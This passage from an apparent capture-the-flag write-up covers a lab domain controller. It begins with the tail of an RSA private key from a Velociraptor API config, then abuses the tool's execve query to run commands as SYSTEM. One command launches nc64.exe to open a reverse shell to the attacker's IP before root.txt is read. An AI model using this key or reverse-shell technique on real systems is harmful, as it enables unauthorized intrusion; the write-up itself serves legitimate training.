  f0XfR+zdixDgZDUfyobPOgT2eWGPIrnjf+f8bV4KC37JgNHqnNcQG45YqCb5fui8
  zH+0bQ+8CigfMdqloO+WAmFmd2VREjDbNyAsvPae7Kq8ueOtLeKgcsmWEA5U4gEI
  qQd29vCoeVKpAlbDm21q5C5Gb1y//xIfXYQeXzxO12pLiZYw4s+fECuvz9C3BMjs
  6MLmyuXxxKU8MgaxoJOPR/xRx7Sf2b5eTdxuWuWiH50c2AtTZXYnZBItHUIazOJj
  UsOJS7/BAoGBAM6Y7dR7Vi5UDOFf7jINca7ZEMHlvbzLy+San/6a2WVIu7/xDFdp
  Y5QIgM65ekpehzH7kEk9GRNbGwQdV7txSF8C9Iz0Ugg/Z3E3X6tCOtHeBVtFSARW
  a4fSx/sfxdpkqy+lZ7BZ9hzgTkRSyAHsPPB79iTHO3I0MnL3oV58tU6dAoGBAOCq
  enPVwkNmZv3rApDB+RcaFA9KHE7t/SWSg2qfyIm+I2dR00Y0GbCP6NdoasB3NW14
  WiM9VALxoQawhH6OxvLXi8h88iZm8s55w5XMcLHnjjm3Rc/fCGSK04B0AxPE66DV
  lgWnKJ4ayQmLHmsfxq+f9QhRYub2+D6pffi7/q39AoGAHvzlP2e4h35n6C4hZjSK
  BrXcQ5kYGode780ZjnDfhsegEawwM7RFEWEtINTFOP5wvNiEzddyOWsC5F0aWa0m
  M8oXsES9QStxcpPhr6hhdjUdDJGZubzUqCy/fjVH0fgjjSP8J4F23uHuG2VnRpKO
  mWuegem4Sur1XjUyaR+/eikCgYEAqvtzqDa12v/TQEocMLk/boKNY7l+Y9+h+ndQ
  BtTGFXackSRoC5TZPFO53D5+iC3xfnfK+ejRyE/GwkWTAJJ+/RBoNNRKoklVXyiy
  Xo4x8mONDYXa3sIaLBKvtqIUOXZz8Xq76191fSZbfCThqJuNZdnx7TurbqXk9iOe
  WLASuq0CgYA/pq5nA1vBTsRxJT8joD+rK6QLOG9CgW8w4jzRMaN7yB4mXNfJUTES
  gXuDYrBDj475ZAqjQNK9gjTzkN6L/RDvcb/N322f7z7+XRdo2ios9VFFFfzXJfd2
  e9EQEmcGdkmUkw7mRWyIuTUJ38qFstafNQ5PswufIN2LyD+uOK2rdA==
  -----END RSA PRIVATE KEY-----
api_connection_string: localhost:8001
name: admin

I’ll try the example command given in the docs:

PS C:\Program Files\VelociraptorServer> .\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM info()" --format jsonl
{"Hostname":"LUS2DC","Uptime":165963,"BootTime":1753448250,"Procs":93,"OS":"windows","Platform":"Microsoft Windows Server 2022 Standard","PlatformFamily":"Server (Domain Controller)","PlatformVersion":"10.0.20348 Build 20348","KernelVersion":"10.0.20348 Build 20348","VirtualizationSystem":"","VirtualizationRole":"","CompilerVersion":"go1.22.5","HostID":"d0d5360a-77d0-48bc-a8b0-0bef75954acb","Exe":"C:\\Program Files\\Velociraptor\\Velociraptor.exe","CWD":"C:\\Windows\\system32","IsAdmin":true,"ClientStart":"2025-07-25T12:57:53.2926437Z","Fqdn":"LUS2DC.Lustrous2.vl","Architecture":"amd64"}

It works!

Execution

Velociraptor has a execve plugin, similar to the info() plugin. I’ll run it as shown in the docs:

PS C:\Program Files\VelociraptorServer> .\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','whoami'])" 
[
 {
  "Stdout": "nt authority\\system\r\n",
  "Stderr": "",
  "ReturnCode": 0,
  "Complete": true
 }
]

It ran the command as NT Authority\System.

I’ll run again, this time using nc64.exe to get a shell:

PS C:\Program Files\VelociraptorServer> .\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM execve(argv=['C:\\programdata\\nc64.exe','-e','powershell','10.10.14.79','443'])" 

It just hangs, but at nc on my host:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.174 57745
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> 

I’ll grab root.txt:

PS C:\Users\Administrator\Desktop> cat root.txt
0544d47f************************